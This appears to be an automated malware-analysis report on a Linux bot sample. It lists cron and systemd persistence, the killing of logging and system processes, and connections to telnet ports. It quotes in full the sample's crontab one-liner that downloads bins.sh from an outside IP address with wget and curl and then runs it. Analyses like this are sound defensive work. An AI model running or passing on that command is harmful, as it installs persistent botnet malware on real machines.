Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- chmod +x bins.sh
- crontab -l
- crontab -
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget \x22http://51.195.168.80:8000/linux/bins.sh\x22; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh \x22http://51.195.168.80:8000/linux/bins.sh\x22; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- sh bins.sh
- <SAMPLE_FULL_PATH> bg
Kills the following processes:
- systemd
- systemd-journal
- rsyslogd
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.ifeZVZ
- /var/spool/cron/crontabs/tmp.bzEMLa
Creates or modifies files:
- /usr/lib/systemd/system/bot.service
- /var/spool/cron/crontabs/tmp.ifeZVZ
- /etc/init/bot.conf
- /root/.bashrc
- /var/spool/cron/crontabs/tmp.bzEMLa
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Establishes connection:
- 24#.#7.22.89:23
- 24#.##.22.89:2323
- 24#.#7.22.89:80
- 24#.##.22.89:5523
- 99.###.157.202:23
- 99.###.157.202:2323
- 99.###.157.202:80
- 8.#.8.8:53
- 19#.##0.49.171:6001
Sends data to the following servers:
- 8.#.8.8:53
Receives data from the following servers:
- 8.#.8.8:53